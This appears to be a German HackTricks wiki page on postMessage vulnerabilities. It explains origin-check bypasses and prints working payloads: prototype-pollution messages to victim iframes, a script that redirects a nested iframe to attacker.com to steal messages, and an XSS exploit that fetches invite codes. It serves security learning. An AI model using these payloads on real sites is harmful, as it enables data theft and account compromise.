.. | ||
blocking-main-page-to-steal-postmessage.md | ||
bypassing-sop-with-iframes-1.md | ||
bypassing-sop-with-iframes-2.md | ||
README.md | ||
steal-postmessage-modifying-iframe-location.md |
PostMessage-Schwachstellen
PostMessage-Schwachstellen
Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.
WhiteIntel
WhiteIntel ist eine von Dark Web angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von Stealer-Malware kompromittiert wurden.
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
Sie können ihre Website besuchen und ihren Dienst kostenlos ausprobieren unter:
{% embed url="https://whiteintel.io" %}
Sende PostMessage
PostMessage verwendet die folgende Funktion zum Senden einer Nachricht:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Beachten Sie, dass targetOrigin ein '*' oder eine URL wie https://company.com sein kann.
Im zweiten Szenario kann die Nachricht nur an diese Domain gesendet werden (auch wenn der Ursprung des Fensterobjekts unterschiedlich ist).
Wenn das Platzhalterzeichen verwendet wird, können Nachrichten an jede Domain gesendet werden und werden an den Ursprung des Fensterobjekts gesendet.
Angriff auf iframe & Platzhalterzeichen in targetOrigin
Wie in diesem Bericht erklärt, wenn Sie eine Seite finden, die iframed werden kann (kein Schutz durch X-Frame-Header
) und die sensible Nachrichten über postMessage mit einem Platzhalterzeichen (*) sendet, können Sie den Ursprung des iframe ändern und die sensible Nachricht an eine von Ihnen kontrollierte Domain leaken.
Beachten Sie, dass wenn die Seite iframed werden kann, aber das targetOrigin auf eine URL und nicht auf ein Platzhalterzeichen gesetzt ist, wird dieser Trick nicht funktionieren.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListener Ausnutzung
addEventListener
ist die Funktion, die von JS verwendet wird, um die Funktion zu deklarieren, die postMessages
erwartet.
Ein Code ähnlich dem folgenden wird verwendet:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
Beachten Sie in diesem Fall, wie das erste, was der Code tut, ist, den Ursprung zu überprüfen. Dies ist besonders wichtig, wenn die Seite etwas sensibles mit den empfangenen Informationen machen soll (wie z.B. ein Passwort ändern). Wenn der Ursprung nicht überprüft wird, können Angreifer Opfer dazu bringen, beliebige Daten an diese Endpunkte zu senden und die Passwörter der Opfer zu ändern (in diesem Beispiel).
Aufzählung
Um Ereignislistener auf der aktuellen Seite zu finden, können Sie:
- Suchen Sie den JS-Code nach
window.addEventListener
und$(window).on
(JQuery-Version) - Führen Sie in der Konsole der Entwicklertools aus:
getEventListeners(window)
- Gehen Sie zu Elemente --> Ereignislistener in den Entwicklertools des Browsers
- Verwenden Sie eine Browsererweiterung wie https://github.com/benso-io/posta oder https://github.com/fransr/postMessage-tracker. Diese Browsererweiterungen werden alle Nachrichten abfangen und Ihnen anzeigen.
Umgehen der Ursprungsprüfung
- Das Attribut
event.isTrusted
gilt als sicher, da es nurTrue
für Ereignisse zurückgibt, die durch echte Benutzeraktionen generiert werden. Obwohl es herausfordernd ist, zu umgehen, wenn es korrekt implementiert ist, ist seine Bedeutung bei Sicherheitsprüfungen beachtenswert. - Die Verwendung von
indexOf()
zur Ursprungsvalidierung in PostMessage-Ereignissen kann anfällig für Umgehungen sein. Ein Beispiel, das diese Schwachstelle veranschaulicht, ist:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
- Die Methode
search()
ausString.prototype.search()
ist für reguläre Ausdrücke vorgesehen, nicht für Zeichenfolgen. Das Übergeben von etwas anderem als einem RegExp führt zu einer impliziten Konvertierung in einen Regex, was die Methode potenziell unsicher macht. Dies liegt daran, dass in Regex ein Punkt (.) als Platzhalter fungiert und das Umgehen der Validierung mit speziell erstellten Domains ermöglicht. Zum Beispiel:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
Die Funktion
match()
, ähnlich wiesearch()
, verarbeitet Regex. Wenn der Regex falsch strukturiert ist, könnte er anfällig für Umgehungen sein. -
Die Funktion
escapeHtml
ist dazu gedacht, Eingaben zu bereinigen, indem Zeichen maskiert werden. Sie erstellt jedoch kein neues maskiertes Objekt, sondern überschreibt die Eigenschaften des vorhandenen Objekts. Dieses Verhalten kann ausgenutzt werden. Insbesondere, wenn ein Objekt so manipuliert werden kann, dass seine gesteuerte EigenschafthasOwnProperty
nicht anerkennt, wirdescapeHtml
nicht wie erwartet funktionieren. Dies wird in den folgenden Beispielen demonstriert: -
Erwartetes Versagen:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
- Umgehen des Maskierens:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
Im Kontext dieser Schwachstelle ist das File
-Objekt aufgrund seiner schreibgeschützten name
-Eigenschaft besonders anfällig für Ausnutzung. Diese Eigenschaft wird in Vorlagen verwendet und nicht von der escapeHtml
-Funktion bereinigt, was zu potenziellen Sicherheitsrisiken führt.
- Die Eigenschaft
document.domain
in JavaScript kann von einem Skript festgelegt werden, um die Domain zu verkürzen und eine entspanntere Durchsetzung der Same-Origin-Richtlinie innerhalb der gleichen übergeordneten Domain zu ermöglichen.
e.origin == window.origin Umgehung
Beim Einbetten einer Webseite in einem sandboxed iframe mit %%%%%% ist es wichtig zu verstehen, dass der Ursprung des iframes auf null gesetzt wird. Dies ist besonders wichtig im Umgang mit Sandbox-Attributen und deren Auswirkungen auf Sicherheit und Funktionalität.
Durch die Angabe von allow-popups
im Sandbox-Attribut erbt jedes Popup-Fenster, das aus dem iframe geöffnet wird, die Sandbox-Beschränkungen seines übergeordneten Elements. Dies bedeutet, dass, sofern das Attribut allow-popups-to-escape-sandbox
nicht ebenfalls enthalten ist, der Ursprung des Popup-Fensters ebenfalls auf null
gesetzt wird, was mit dem Ursprung des iframes übereinstimmt.
Folglich, wenn unter diesen Bedingungen ein Popup geöffnet wird und eine Nachricht vom iframe an das Popup mit postMessage
gesendet wird, haben sowohl der sendende als auch der empfangende Teil ihren Ursprung auf null
gesetzt. Diese Situation führt dazu, dass e.origin == window.origin
als wahr ausgewertet wird (null == null
), da sowohl das iframe als auch das Popup den gleichen Ursprungswert von null
teilen.
Für weitere Informationen lesen Sie:
{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
Umgehen von e.source
Es ist möglich zu überprüfen, ob die Nachricht aus demselben Fenster stammt, in dem das Skript lauscht (besonders interessant für Content Scripts von Browsererweiterungen, um zu überprüfen, ob die Nachricht von derselben Seite gesendet wurde):
// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}
Du kannst e.source
einer Nachricht erzwingen, indem du ein iframe erstellst, das die postMessage sendet und sofort gelöscht wird.
Für weitere Informationen lesen Sie:
{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
X-Frame-Header Umgehung
Um diese Angriffe durchzuführen, ist es idealerweise möglich, die Opfer-Webseite in ein iframe
einzubetten. Aber einige Header wie X-Frame-Header
können dieses Verhalten verhindern.
In solchen Szenarien kannst du dennoch einen weniger unauffälligen Angriff durchführen. Du kannst einen neuen Tab zur verwundbaren Webanwendung öffnen und mit ihr kommunizieren:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Stehlen von Nachrichten, die an ein Kind gesendet wurden, indem die Hauptseite blockiert wird
Auf der folgenden Seite können Sie sehen, wie Sie sensible Postmessage-Daten, die an ein Kind-IFrame gesendet wurden, stehlen können, indem Sie die Hauptseite blockieren, bevor die Daten gesendet werden, und einen XSS im Kind-IFrame ausnutzen, um die Daten zu leaken, bevor sie empfangen werden:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
Stehlen von Nachrichten durch Ändern des IFrame-Standorts
Wenn Sie eine Webseite ohne X-Frame-Header in ein IFrame einbetten können, das ein anderes IFrame enthält, können Sie den Standort des Kind-IFrames ändern, sodass, wenn es eine Postmessage empfängt, die mit einem Wildcard gesendet wurde, ein Angreifer den Ursprung dieses IFrames zu einer von ihm kontrollierten Seite ändern und die Nachricht stehlen könnte:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
PostMessage zur Prototyp-Verunreinigung und/oder XSS
In Szenarien, in denen die über postMessage
gesendeten Daten von JS ausgeführt werden, können Sie die Seite in ein IFrame einbetten und die Prototyp-Verunreinigung/XSS ausnutzen, indem Sie den Exploit über postMessage
senden.
Ein paar sehr gut erklärte XSS durch postMessage
finden Sie unter https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Beispiel für einen Exploit zur Ausnutzung von Prototyp-Verunreinigung und dann XSS über eine postMessage
an ein IFrame
:
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
Für weitere Informationen:
- Link zur Seite über Prototyp-Verschmutzung
- Link zur Seite über XSS
- Link zur Seite über Client-seitige Prototyp-Verschmutzung zu XSS
Referenzen
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Zum Üben: https://github.com/yavolo/eventlistener-xss-recon
WhiteIntel
WhiteIntel ist eine von Dark Web angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von Stealer-Malware kompromittiert wurden.
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen.
Sie können ihre Website besuchen und ihre Engine kostenlos ausprobieren unter:
{% embed url="https://whiteintel.io" %}
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.